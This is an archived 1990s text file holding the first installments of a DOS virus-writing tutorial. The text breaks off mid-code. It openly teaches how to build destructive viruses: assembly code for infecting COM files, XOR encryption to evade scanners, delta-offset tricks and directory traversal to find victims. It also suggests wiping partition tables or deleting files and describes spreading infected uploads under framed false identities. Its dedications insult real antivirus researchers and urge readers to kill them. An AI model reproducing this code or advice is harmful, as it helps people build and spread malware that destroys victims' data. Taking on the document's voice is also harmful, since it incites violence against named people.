home *** CD-ROM | disk | FTP | other *** search
/ Amiga ISO Collection / AmigaDemoCD2.iso / ASCII / TEXTE / SCENE / HPA / ANARCHY / ps-vir.txt < prev    next >
Encoding:
Text File  |  1994-03-26  |  108.4 KB  |  2,327 lines

  1. @BEGIN_FILE_ID.DIZ
  2. dARK aNGELs cHEWY ViRUS wRiTiNG gUiDE [1-5]
  3.                                       [2-5]
  4. Packed to one File by tECHNOKING!     [3-5]
  5.                                       [4-5]
  6.                                       [5-5]
  7. @END_FILE_ID.DIZ
  8.     //==//  //  //  /||      //      //====  //==//  //|   //
  9.    //  //  //  //  //||     //      //      //  //  //||  //
  10.   //==//  //==//  //=||    //      //      //  //  // || //
  11.  //      //  //  //  ||   //      //      //  //  //  ||//
  12. //      //  //  //   ||  //====  //====  //==//  //   ||/
  13.  
  14. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  15. DISCLAIMER: The author hereby disclaims himself
  16. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  17. DEDICATION: This was written to make the lives
  18.   of scum such as Patty Hoffman, John McAffee,
  19.   and Ross Greenberg a living hell.
  20. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  21. OTHER STUFF:  Thanks go to The Shade of Sorrow,
  22.   Demogorgon, and Orion Rouge on their comments
  23.   (which I occasionally listened to!).   Thanks
  24.   also to Hellraiser, who gave me an example of
  25.   some virus source code (his own, of course).
  26. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  27.  
  28. Dark Angel's Phunky Virus Writing Guide
  29. ---- ------- ------ ----- ------- -----
  30. Virii are  wondrous creations written for the sole purpose of spreading and
  31. destroying the  systems of unsuspecting fools.  This eliminates the systems
  32. of simpletons  who can't  tell that there is a problem when a 100 byte file
  33. suddenly blossoms  into a  1,000 byte  file.   Duh.  These low-lifes do not
  34. deserve to  exist, so  it is  our sacred duty to wipe their hard drives off
  35. the face of the Earth.  It is a simple matter of speeding along survival of
  36. the fittest.
  37.  
  38. Why did  I create  this guide?  After writing several virii, I have noticed
  39. that virus  writers generally  learn how to write virii either on their own
  40. or by  examining the  disassembled code  of  other  virii.    There  is  an
  41. incredible lack  of information  on the  subject.   Even books published by
  42. morons such as Burger are, at best, sketchy on how to create a virus.  This
  43. guide will show you what it takes to write a virus and also will give you a
  44. plethora of source code to include in your own virii.
  45.  
  46. Virus writing  is not  as hard  as you  might first  imagine.   To write an
  47. effective virus,  however, you  *must*  know  assembly  language.    Short,
  48. compact code  are hallmarks  of assembly  language and  these are desirable
  49. characteristics of  virii.  However, it is *not* necessary to write in pure
  50. assembly.   C may  also be  used, as  it allows almost total control of the
  51. system while  generating relatively compact code (if you stay away from the
  52. library functions).   However,  you still  must access  the interrupts,  so
  53. assembly knowledge  is still  required.  However, it is still best to stick
  54. with pure  assembly,  since  most  operations  are  more  easily  coded  in
  55. assembly.  If you do not know assembly, I would recommend picking up a copy
  56. of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672-
  57. 22659-6).   It is an easy-to-follow book covering assembly in great detail.
  58. Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201-
  59. 57064-5), as it is very helpful.
  60.  
  61. The question  of which  compiler to  use arises  often.   I  suggest  using
  62. Borland Turbo  Assembler and/or  Borland C++.   I  do not  have a  copy  of
  63. Zortech C  (it was  too large  to download), but I would suspect that it is
  64. also a good choice.  Stay away from Microsoft compilers, as they are not as
  65. flexible nor as efficient as those of other vendors.
  66.  
  67. A few more items round out the list of tools helpful in constructing virii.
  68. The latest version of Norton Utilities is one of the most powerful programs
  69. available, and  is immeasurably  helpful.   MAKE SURE YOU HAVE A COPY!  You
  70. can find  it on  any decent board.  It can be used during every step of the
  71. process, from  the writing  to the testing.  A good debugger helps.  Memory
  72. management  utilities   such  as   MAPMEM,  PMAP,   and  MARK/RELEASE,  are
  73. invaluable, especially  when coding  TSR virii.   Sourcer,  the  commenting
  74. disassembler, is  useful when  you wish  to examine the code of other virii
  75. (this is a good place to get ideas/techniques for your virus).
  76.  
  77. Now that  you have  your tools,  you are  ready to  create a  work  of  art
  78. designed to smash the systems of cretins.  There are three types of virii:
  79.  
  80.      1) Tiny virii (under 500 bytes) which are designed to be  undetectable
  81.         due to their small size.   TINY  is  one  such  virus.    They  are
  82.         generally very simple because their code length is so limited.
  83.      2) Large  virii  (over 1,500 bytes)   which   are   designed   to   be
  84.         undetectable because they cover their tracks very  well  (all  that
  85.         code DOES have a use!).  The best example  of  this  is  the  Whale
  86.         virus, which is perhaps the best 'Stealth' virus in existence.
  87.      3) Other virii which are not designed to be hidden at all (the writers
  88.         don't give  a  shit).    The  common  virus  is  like  this.    All
  89.         overwriting virii are in this category.
  90.  
  91. You must  decide which  kind of  virus you wish to write.  I will mostly be
  92. discussing  the  second  type  (Stealth  virii).    However,  many  of  the
  93. techniques discribed  may be easily applied to the first type (tiny virii).
  94. However, tiny  virii generally do not have many of the "features" of larger
  95. virii, such  as  directory  traversal.    The  third  type  is  more  of  a
  96. replicating trojan-type,  and will  warrant a  brief  (very,  very  brief!)
  97. discussion later.
  98.  
  99. A virus may be divided into three parts: the replicator, the concealer, and
  100. the bomb.   The  replicator part  controls the spread of the virus to other
  101. files, the concealer keeps the virus from being detected, and the bomb only
  102. executes when  the activation  conditions of the virus (more on that later)
  103. are satisfied.
  104.  
  105. -=-=-=-=-=-=-=-
  106. THE REPLICATOR
  107. -=-=-=-=-=-=-=-
  108. The job  of the  replicator is to spread the virus throughout the system of
  109. the clod  who has caught the virus.  How does it do this without destroying
  110. the file it infects?  The easiest type of replicator infects COM files.  It
  111. first saves  the first  few bytes  of the  infected file.  It then copies a
  112. small portion of its code to the beginning of the file, and the rest to the
  113. end.
  114.  
  115.   +----------------+      +------------+
  116.   | P1 | P2        |      | V1 | V2    |
  117.   +----------------+      +------------+
  118.  The uninfected file     The virus code
  119.  
  120. In the  diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1
  121. and V2  are parts 1 and 2 of the virus.  Note that the size of P1 should be
  122. the same  as the size of V1, but the size of P2 doesn't necessarily have to
  123. be the  same size  as V2.   The  virus first  saves P1 and copies it to the
  124. either 1)  the end  of the  file or 2) inside the code of the virus.  Let's
  125. assume it copies the code to the end of the file.  The file now looks like:
  126.  
  127.   +---------------------+
  128.   | P1 | P2        | P1 |
  129.   +---------------------+
  130.  
  131. Then, the  virus copies  the first  part of  itself to the beginning of the
  132. file.
  133.  
  134.   +---------------------+
  135.   | V1 | P2        | P1 |
  136.   +---------------------+
  137.  
  138. Finally, the virus copies the second part of itself to the end of the file.
  139. The final, infected file looks like this:
  140.  
  141.   +-----------------------------+
  142.   | V1 | P2        | P1 | V2    |
  143.   +-----------------------------+
  144.  
  145. The question  is: What  the fuck  do V1 and V2 do?  V1 transfers control of
  146. the program to V2.  The code to do this is simple.
  147.  
  148.      JMP FAR PTR Duh       ; Takes four bytes
  149. Duh  DW  V2_Start          ; Takes two bytes
  150.  
  151. Duh is  a far pointer (Segment:Offset) pointing to the first instruction of
  152. V2.   Note that  the value  of Duh must be changed to reflect the length of
  153. the file  that is  infected.   For example,  if the  original size  of  the
  154. program is  79 bytes,  Duh must  be changed  so  that  the  instruction  at
  155. CS:[155h] is  executed.   The value of Duh is obtained by adding the length
  156. of V1,  the original size of the infected file, and 256 (to account for the
  157. PSP).  In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal
  158. (155 hex).
  159.  
  160. An alternate, albeit more difficult to understand, method follows:
  161.  
  162.      DB 1101001b              ; Code for JMP (2 byte-displacement)
  163. Duh  DW V2_Start - OFFSET Duh ; 2 byte displacement
  164.  
  165. This inserts  the jump  offset directly  into the  code following  the jump
  166. instruction.  You could also replace the second line with
  167.  
  168.      DW V2_Start - $
  169.  
  170. which accomplishes the same task.
  171.  
  172. V2 contains the rest of the code, i.e. the stuff that does everything else.
  173. The last  part of  V2 copies  P1 over  V1 (in memory, not on disk) and then
  174. transfers control  to the  beginning of the file (in memory).  The original
  175. program will  then run happily as if nothing happened.  The code to do this
  176. is also very simple.
  177.  
  178.      MOV SI, V2_START      ; V2_START is a LABEL marking where V2 starts
  179.      SUB SI, V1_LENGTH     ; Go back to where P1 is stored
  180.      MOV DI, 0100h         ; All COM files are loaded @ CS:[100h] in memory
  181.      MOV CX, V1_LENGTH     ; Move CX bytes
  182.      REP MOVSB             ; DS:[SI] -> ES:[DI]
  183.  
  184.      MOV DI, 0100h
  185.      JMP DI
  186.  
  187. This code assumes that P1 is located just before V2, as in:
  188.  
  189. P1_Stored_Here:
  190.      .
  191.      .
  192.      .
  193. V2_Start:
  194.  
  195. It also  assumes ES  equals CS.  If these assumptions are false, change the
  196. code accordingly.  Here is an example:
  197.  
  198.      PUSH CS               ; Store CS
  199.      POP  ES               ;  and move it to ES
  200.                            ; Note MOV ES, CS is not a valid instruction
  201.      MOV SI, P1_START      ; Move from whereever P1 is stored
  202.      MOV DI, 0100h         ;  to CS:[100h]
  203.      MOV CX, V1_LENGTH
  204.      REP MOVSB
  205.  
  206.      MOV DI, 0100h
  207.      JMP DI
  208.  
  209. This code  first moves CS into ES and then sets the source pointer of MOVSB
  210. to where  P1 is located.  Remember that this is all taking place in memory,
  211. so you  need the  OFFSET of P1, not just the physical location in the file.
  212. The offset  of P1  is 100h  higher than  the physical file location, as COM
  213. files are loaded starting from CS:[100h].
  214.  
  215. So here's a summary of the parts of the virus and location labels:
  216.  
  217. V1_Start:
  218.      JMP FAR PTR Duh
  219. Duh  DW  V2_Start
  220. V1_End:
  221.  
  222. P2_Start:
  223. P2_End:
  224.  
  225. P1_Start:
  226.   ; First part of the program stored here for future use
  227. P1_End:
  228.  
  229. V2_Start:
  230.   ; Real Stuff
  231. V2_End:
  232.  
  233. V1_Length EQU V1_End - V1_Start
  234.  
  235. Alternatively, you could store P1 in V2 as follows:
  236.  
  237. V2_Start:
  238.  
  239. P1_Start:
  240. P1_End:
  241.  
  242. V2_End:
  243.  
  244. That's all there is to infecting a COM file without destroying it!  Simple,
  245. no?   EXE files,  however, are a little tougher to infect without rendering
  246. them inexecutable - I will cover this topic in a later file.
  247.  
  248. Now let  us turn our attention back to the replicator portion of the virus.
  249. The steps are outlined below:
  250.  
  251.      1) Find a file to infect
  252.      2) Check if it is already infected
  253.      3) If so, go back to 1
  254.      4) Infect it
  255.      5) If infected enough, quit
  256.      6) Otherwise, go back to 1
  257.  
  258. Finding a  file to  infect is  a  simple  matter  of  writing  a  directory
  259. traversal procedure  and issuing  FINDFIRST  and  FINDNEXT  calls  to  find
  260. possible files  to infect.   Once  you find  the file, open it and read the
  261. first few  bytes.   If they are the same as the first few bytes of V1, then
  262. the file  is already  infected.  If the first bytes of V1 are not unique to
  263. your virus,  change it  so that they are.  It is *extremely* important that
  264. your virus  doesn't reinfect  the same  files, since that was how Jerusalem
  265. was first  detected.   If the file wasn't already infected, then infect it!
  266. Infection should take the following steps:
  267.  
  268.      1) Change the file attributes to nothing.
  269.      2) Save the file date/time stamps.
  270.      3) Close the file.
  271.      4) Open it again in read/write mode.
  272.      5) Save P1 and append it to the end of the file.
  273.      6) Copy V1 to the beginning, but change the offset which it JMPs to so
  274.         it transfers control correctly. See the previous part on infection.
  275.      7) Append V2 to the end of the file.
  276.      8) Restore file attributes/date/time.
  277.  
  278. You should  keep a counter of the number of files infected during this run.
  279. If the number exceeds, say three, then stop.  It is better to infect slowly
  280. then to give yourself away by infecting the entire drive at once.
  281.  
  282. You must  be sure  to cover  your tracks  when you infect a file.  Save the
  283. file's  original   date/time/attributes  and  restore  them  when  you  are
  284. finished.   THIS IS VERY IMPORTANT!  It takes about 50 to 75 bytes of code,
  285. probably less,  to do  these few simple things which can do wonders for the
  286. concealment of your program.
  287.  
  288. I will  include code for the directory traversal function, as well as other
  289. parts of the replicator in the next installment of my phunky guide.
  290.  
  291. -=-=-=-=-
  292. CONCEALER
  293. -=-=-=-=-
  294. This is  the part  which conceals  the program  from notice by the everyday
  295. user and virus scanner.  The simplest form of concealment is the encryptor.
  296. The code for a simple XOR encryption system follows:
  297.  
  298. encrypt_val   db   ?
  299.  
  300. decrypt:
  301. encrypt:
  302.      mov ah, encrypt_val
  303.  
  304.      mov cx, part_to_encrypt_end - part_to_encrypt_start
  305.      mov si, part_to_encrypt_start
  306.      mov di, si
  307.  
  308. xor_loop:
  309.      lodsb                 ; DS:[SI] -> AL
  310.      xor al, ah
  311.      stosb                 ; AL -> ES:[DI]
  312.      loop xor_loop
  313.      ret
  314.  
  315. Note the encryption and decryption procedures are the same.  This is due to
  316. the weird  nature of  XOR.   You can CALL these procedures from anywhere in
  317. the program,  but make sure you do not call it from a place within the area
  318. to be  encrypted, as  the program  will crash.  When writing the virus, set
  319. the encryption  value to  0.  part_to_encrypt_start and part_to_encrypt_end
  320. sandwich the area you wish to encrypt.  Use a CALL decrypt in the beginning
  321. of V2  to unencrypt  the file  so your  program can  run.  When infecting a
  322. file, first change the encrypt_val, then CALL encrypt, then write V2 to the
  323. end of the file, and CALL decrypt.  MAKE SURE THIS PART DOES NOT LIE IN THE
  324. AREA TO BE ENCRYPTED!!!
  325.  
  326. This is how V2 would look with the concealer:
  327.  
  328. V2_Start:
  329.  
  330. Concealer_Start:
  331.   .
  332.   .
  333.   .
  334. Concealer_End:
  335.  
  336. Replicator_Start:
  337.   .
  338.   .
  339.   .
  340. Replicator_End:
  341.  
  342. Part_To_Encrypt_Start:
  343.   .
  344.   .
  345.   .
  346. Part_To_Encrypt_End:
  347. V2_End:
  348.  
  349. Alternatively, you  could move  parts  of  the  unencrypted  stuff  between
  350. Part_To_Encrypt_End and V2_End.
  351.  
  352. The value  of encryption  is readily  apparent.  Encryption makes it harder
  353. for virus  scanners to  locate your virus.  It also hides some text strings
  354. located in  your program.   It is the easiest and shortest way to hide your
  355. virus.
  356.  
  357. Encryption is only one form of concealment.  At least one other virus hooks
  358. into the  DOS interrupts  and alters  the output  of DIR  so the file sizes
  359. appear normal.   Another  concealment scheme  (for TSR virii) alters DOS so
  360. memory utilities  do not  detect the  virus.   Loading the virus in certain
  361. parts of  memory allow  it to survive warm reboots.  There are many stealth
  362. techniques, limited only by the virus writer's imagination.
  363.  
  364. -=-=-=-=-
  365. THE BOMB
  366. -=-=-=-=-
  367. So now all the boring stuff is over.  The nastiness is contained here.  The
  368. bomb part  of the virus does all the deletion/slowdown/etc which make virii
  369. so annoying.   Set  some activation  conditions of  the virus.  This can be
  370. anything, ranging  from when  it's your  birthday to  when  the  virus  has
  371. infected 100  files.   When these  conditions are met, then your virus does
  372. the good stuff.  Some suggestions of possible bombs:
  373.  
  374.      1) System slowdown - easily  handled  by  trapping  an  interrupt  and
  375.         causing a delay when it activates.
  376.      2) File deletion - Delete all ZIP files on the drive.
  377.      3) Message display - Display a nice message saying  something  to  the
  378.         effect of "You are fucked."
  379.      4) Killing/Replacing the Partition Table/Boot Sector/FAT of  the  hard
  380.         drive - This is very nasty, as most dimwits cannot fix this.
  381.  
  382. This is, of course, the fun part of writing a virus, so be original!
  383.  
  384. -=-=-=-=-=-=-=-
  385. OFFSET PROBLEMS
  386. -=-=-=-=-=-=-=-
  387. There is  one caveat  regarding calculation of offsets.  After you infect a
  388. file, the  locations of  variables change.  You MUST account for this.  All
  389. relative offsets  can stay  the same, but you must add the file size to the
  390. absolute offsets  or your  program will  not work.  This is the most tricky
  391. part of  writing virii  and taking  these into  account can  often  greatly
  392. increase the  size of  a virus.   THIS  IS VERY IMPORTANT AND YOU SHOULD BE
  393. SURE TO  UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS!
  394. If you  don't, you'll  get fucked  over and  your virus WILL NOT WORK!  One
  395. entire part of the guide will be devoted to this subject.
  396.  
  397. -=-=-=-
  398. TESTING
  399. -=-=-=-
  400. Testing virii  is a  dangerous yet  essential part  of the  virus  creation
  401. process.   This is  to make  certain that people *will* be hit by the virus
  402. and, hopefully,  wiped out.   Test  thoroughly and  make sure  it activates
  403. under the  conditions.  It would be great if everyone had a second computer
  404. to test  their virii  out, but,  of course, this is not the case.  So it is
  405. ESSENTIAL that  you keep BACKUPS of your files, partition, boot record, and
  406. FAT.   Norton is  handy in  this doing  this.  Do NOT disregard this advice
  407. (even though  I know  that you will anyway) because you WILL be hit by your
  408. own virii.   When  I wrote my first virus, my system was taken down for two
  409. days because I didn't have good backups.  Luckily, the virus was not overly
  410. destructive.   BACKUPS MAKE  SENSE!  LEECH A BACKUP PROGRAM FROM YOUR LOCAL
  411. PIRATE BOARD!   I find a RamDrive is often helpful in testing virii, as the
  412. damage is  not permanent.   RamDrives  are also useful for testing trojans,
  413. but that is the topic of another file...
  414.  
  415. -=-=-=-=-=-=-
  416. DISTRIBUTION
  417. -=-=-=-=-=-=-
  418. This is  another fun  part of  virus writing.   It  involves  sending  your
  419. brilliantly-written  program   through  the  phone  lines  to  your  local,
  420. unsuspecting bulletin  boards.   What you  should do  is infect a file that
  421. actually does something (leech a useful utility from another board), infect
  422. it, and upload it to a place where it will be downloaded by users all over.
  423. The best  thing is  that it  won't be detected by puny scanner-wanna-bes by
  424. McAffee, since it is new!  Oh yeah, make sure you are using a false account
  425. (duh).   Better yet,  make a  false account  with the  name/phone number of
  426. someone you  don't like  and upload  the infected  file under the his name.
  427. You can  call back  from time to time and use a door such as ZDoor to check
  428. the spread  of the virus.  The more who download, the more who share in the
  429. experience of your virus!
  430.  
  431. I promised a brief section on overwriting virii, so here it is...
  432. -=-=-=-=-=-=-=-=-
  433. OVERWRITING VIRII
  434. -=-=-=-=-=-=-=-=-
  435. All these  virii do  is spread  throughout the  system.   They  render  the
  436. infected files  inexecutable, so they are easily detected.  It is simple to
  437. write one:
  438.  
  439.    +-------------+   +-----+   +-------------+
  440.    | Program     | + |Virus| = |Virus|am     |
  441.    +-------------+   +-----+   +-------------+
  442.  
  443. These virii are simple little hacks, but pretty worthless because of their
  444. easy detectability.  Enuff said!
  445.  
  446. -=-=-=-=-=-=-=-=-=-=-=-=-
  447. WELL, THAT JUST ABOUT...
  448. -=-=-=-=-=-=-=-=-=-=-=-=-
  449. wraps it  up for  this installment  of Dark  Angel's Phunky  virus  writing
  450. guide.   There will (hopefully) be future issues where I discuss more about
  451. virii and  include much  more source  code (mo' source!).  Till then, happy
  452. coding!
  453.                                                                    \/
  454. -@-BEGIN_FILE_ID.DIZ
  455. dARK aNGELs cHEWY ViRUS wRiTiNG gUiDE [2-5]
  456. -@-END_FILE_ID.DIZ
  457.  
  458.       //==//  //  //  /||      //      //====  //==//  //|   //
  459.      //  //  //  //  //||     //      //      //  //  //||  //
  460.     //==//  //==//  //=||    //      //      //  //  // || //
  461.    //      //  //  //  ||   //      //      //  //  //  ||//
  462.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  463.   
  464.      /====   // //     //  /====   /|   /|
  465.     //      // //     //  //      //|  //|
  466.     ===\   // //     //   ===\   //|| //||
  467.       //  //  \\    //      //  // ||// ||
  468.   ====/  //    \\  //   ====/  //  ||/  ||
  469.   
  470.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  471.   DISCLAIMER: Pretend you see a disclaimer here.
  472.     99.44% of the code guaranteed to work.
  473.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  474.   DEDICATION: Please try your best to kill those
  475.     who made this possible, especially that dumb
  476.     bitch who doesn't know her own name (Patty),
  477.     and her lover Ross M. Greenberg.
  478.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  479.   GREETS -N- STUFF: Greets go to all the members
  480.     of PHALCON/SKISM.  I wish to give buckets o'
  481.     thanks to Hellraiser, Garbageheap, and Demo-
  482.     gorgon.  No thanks this time to Orion Rouge,
  483.     the godly master of idiocy.
  484.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  485.   
  486.   Dark Angel's Chunky Virus Writing Guide
  487.   ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
  488.   
  489.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  490.   INSTALLMENT II:  THE REPLICATOR
  491.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  492.   
  493.   In the  last installment of my Virus Writing Guide, I explained the various
  494.   parts of  a virus  and went  into a  brief discussion  about each.  In this
  495.   issue, I  shall devote  all my  attention towards the replicator portion of
  496.   the virus.  I promised code and code I shall present.
  497.   
  498.   However, I  shall digress  for a moment because it has come to my attention
  499.   that some  mutant  copies  of  the  first  installment  were  inadvertently
  500.   released.   These copies  did not  contain a  vital section  concerning the
  501.   calculation of offsets.
  502.   
  503.   You never  know where  your variables  and code  are going  to wind  up  in
  504.   memory.   If you think a bit, this should be pretty obvious.  Since you are
  505.   attaching the  virus to  the end  of a  program, the  location in memory is
  506.   going to  be changed,  i.e. it  will be  larger by the size of the infected
  507.   program.   So, to  compensate, we  must take  the change in offset from the
  508.   original virus,  or the  delta offset,  and add  that to  all references to
  509.   variables.
  510.   
  511.   Instructions that  use displacement,  i.e. relative  offsets, need  not  be
  512.   changed.   These instructions are the JA, JB, JZ class of instructions, JMP
  513.   SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of,
  514.   say, JMP FAR PTR.
  515.   
  516.   Suppose in  the following  examples, si  is somehow  loaded with  the delta
  517.   offset.
  518.   
  519.   Replace
  520.     mov ax, counter
  521.   With
  522.     mov ax, word ptr [si+offset counter]
  523.   
  524.   Replace
  525.     mov dx, offset message
  526.   With
  527.     lea dx, [si+offset message]
  528.   
  529.   You may  be asking, "how the farg am I supposed to find the delta offset!?"
  530.   It is simple enough:
  531.   
  532.     call setup
  533.   setup:
  534.     pop  si
  535.     sub  si, offset setup
  536.   
  537.   An explanation  of the  above fragment  is in order.  CALL setup pushes the
  538.   location of the next instruction, i.e. offset setup, onto the stack.  Next,
  539.   this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup
  540.   (calculated at  compile-time) is  subtracted from  si, giving you the delta
  541.   offset.   In the  original virus,  the delta offset will be 0, i.e. the new
  542.   location of setup equals the old location of setup.
  543.   
  544.   It is  often preferable to use bp as your delta offset, since si is used in
  545.   string instructions.  Use whichever you like.  I'll randomly switch between
  546.   the two as suits my mood.
  547.   
  548.   Now back to the other stuff...
  549.   
  550.   A biological  virus is a parasitic "organism" which uses its host to spread
  551.   itself.   It must keep the host alive to keep itself "alive."  Only when it
  552.   has spread  everywhere will  the host  die a  painful, horrible death.  The
  553.   modern electronic  virus is  no different.   It  attaches itself  to a host
  554.   system and  reproduces until the entire system is fucked.  It then proceeds
  555.   and neatly wrecks the system of the dimwit who caught the virus.
  556.   
  557.   Replication is  what distinguishes  a virus  from a simple trojan.  Anybody
  558.   can write  a trojan,  but a  virus is  much more  elegant.   It acts almost
  559.   invisibly, and  catches the victim off-guard when it finally surfaces.  The
  560.   first question  is, of  course, how  does a virus spread?  Both COM and EXE
  561.   infections (along with sample infection routines) shall be presented.
  562.   
  563.   There are  two major  approaches to  virii: runtime and TSR.  Runtime virii
  564.   infect, yup,  you guessed  it, when  the infected program is run, while TSR
  565.   virii go  resident  when  the  infected  programs  are  run  and  hook  the
  566.   interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon
  567.   termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and
  568.   disadvantages to  each.   Runtime virii  are harder to detect as they don't
  569.   show up on memory maps, but, on the other hand, the delay while it searches
  570.   for and  infects a file may give it away.  TSR virii, if not properly done,
  571.   can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in
  572.   general, smaller  since they  don't need  a function to search for files to
  573.   infect.   They are  also faster than runtime virii, also because they don't
  574.   have to  search for files to infect.  I shall cover runtime virii here, and
  575.   TSR virii in a later installment.
  576.   
  577.   Here is a summary of the infection procedure:
  578.        1) Find a file to infect.
  579.        2) Check if it meets the infection criteria.
  580.        3) See if it is already infected and if so, go back to 1.
  581.        4) Otherwise, infect the file.
  582.        5) Cover your tracks.
  583.   
  584.   I shall  go through  each of  these steps and present sample code for each.
  585.   Note that  although a  complete virus  can be  built from  the  information
  586.   below, you  cannot merely  rip the  code out  and stick it together, as the
  587.   fragments are  from various  different virii that I have written.  You must
  588.   be somewhat  familiar with assembly.  I present code fragments; it is up to
  589.   you to either use them as examples or modify them for your own virii.
  590.   
  591.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  592.   STEP 1 - FIND A FILE TO INFECT
  593.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  594.   Before you  can infect  a file,  you have  to find it first!  This can be a
  595.   bottleneck in  the performance  of the  virus, so  it  should  be  done  as
  596.   efficiently as possible.  For runtime virii, there are a few possibilities.
  597.   You could  infect files in only the current directory, or you could write a
  598.   directory traversal function to infect files in ALL directories (only a few
  599.   files per  run, of  course), or you could infect files in only a few select
  600.   directories.   Why would  you choose  to only  infect files  in the current
  601.   directory?   It would  appear to  limit the  efficacy  of  the  infections.
  602.   However, this  is done  in some  virii either  to speed  up the virus or to
  603.   shorten the code size.
  604.   
  605.   Here is a directory traversal function.  It uses recursion, so it is rather
  606.   slow, but it does the job.  This was excerpted with some modifications from
  607.   The Funky Bob Ross Virus [Beta].
  608.   
  609.   traverse_fcn proc    near
  610.           push    bp                      ; Create stack frame
  611.           mov     bp,sp
  612.           sub     sp,44                   ; Allocate space for DTA
  613.   
  614.           call    infect_directory        ; Go to search & destroy routines
  615.   
  616.           mov     ah,1Ah                  ;Set DTA
  617.           lea     dx,word ptr [bp-44]     ; to space allotted
  618.           int     21h                     ;Do it now!
  619.   
  620.           mov     ah, 4Eh                 ;Find first
  621.           mov     cx,16                   ;Directory mask
  622.           lea     dx,[si+offset dir_mask] ; *.*
  623.           int     21h
  624.           jmp     short isdirok
  625.   gonow:
  626.           cmp     byte ptr [bp-14], '.'   ; Is first char == '.'?
  627.           je      short donext            ; If so, loop again
  628.           lea     dx,word ptr [bp-14]     ; else load dirname
  629.           mov     ah,3Bh                  ; and changedir there
  630.           int     21h
  631.           jc      short donext              ; Do next if invalid
  632.           inc     word ptr [si+offset nest] ; nest++
  633.           call    near ptr traverse_fcn     ; recurse directory
  634.   donext:
  635.           lea     dx,word ptr [bp-44]     ; Load space allocated for DTA
  636.           mov     ah,1Ah                  ; and set DTA to this new area
  637.           int     21h                     ; 'cause it might have changed
  638.   
  639.           mov     ah,4Fh                  ;Find next
  640.           int     21h
  641.   isdirok:
  642.           jnc     gonow                   ; If OK, jmp elsewhere
  643.           cmp     word ptr [si+offset nest], 0 ; If root directory
  644.                                                ;  (nest == 0)
  645.           jle     short cleanup                ; then Quit
  646.           dec     word ptr [si+offset nest]    ; Else decrement nest
  647.           lea     dx, [si+offset back_dir]; '..'
  648.           mov     ah,3Bh                  ; Change directory
  649.           int     21h                     ; to previous one
  650.   cleanup:
  651.           mov     sp,bp
  652.           pop     bp
  653.           ret
  654.   traverse_fcn endp
  655.   
  656.   ; Variables
  657.   nest     dw     0
  658.   back_dir db     '..',0
  659.   dir_mask db     '*.*',0
  660.   
  661.   The code  is self-explanatory.   Make  sure  you  have  a  function  called
  662.   infect_directory which scans the directory for possible files to infect and
  663.   makes sure  it doesn't  infect already-infected  files.   This function, in
  664.   turn, calls infect_file which infects the file.
  665.   
  666.   Note, as  I said  before, this  is slow.   A  quicker method, albeit not as
  667.   global, is  the "dot  dot" method.   Hellraiser  showed me this neat little
  668.   trick.   Basically, you  keep searching  each directory and, if you haven't
  669.   infected enough,  go to the previous directory (dot dot) and try again, and
  670.   so on.  The code is simple.
  671.   
  672.   dir_loopy:
  673.           call    infect_directory
  674.           lea     dx, [bp+dotdot]
  675.           mov     ah, 3bh                 ; CHDIR
  676.           int     21h
  677.           jnc     dir_loopy               ; Carry set if in root
  678.   
  679.   ; Variables
  680.   dotdot  db      '..',0
  681.   
  682.   Now you  must find a file to infect.  This is done (in the fragments above)
  683.   by a  function called infect_directory.  This function  calls FINDFIRST and
  684.   FINDNEXT a  couple of  times to find files to infect.  You should first set
  685.   up a  new DTA.  NEVER use the DTA in the PSP (at 80h) because altering that
  686.   will affect  the command-line  parameters  of  the  infected  program  when
  687.   control is returned to it.  This is easily done with the following:
  688.   
  689.           mov     ah, 1Ah                 ; Set DTA
  690.           lea     dx, [bp+offset DTA]     ; to variable called DTA (wow!)
  691.           int     21h
  692.   
  693.   Where DTA  is a 42-byte chunk of memory.  Next, issue a series of FINDFIRST
  694.   and FINDNEXT calls:
  695.   
  696.           mov     ah, 4Eh                 ; Find first file
  697.           mov     cx, 0007h               ; Any file attribute
  698.           lea    dx, [bp+offset file_mask]; DS:[DX] --> filemask
  699.           int     21h
  700.           jc      none_found
  701.   found_another:
  702.           call    check_infection
  703.           mov     ah, 4Fh                 ; Find next file
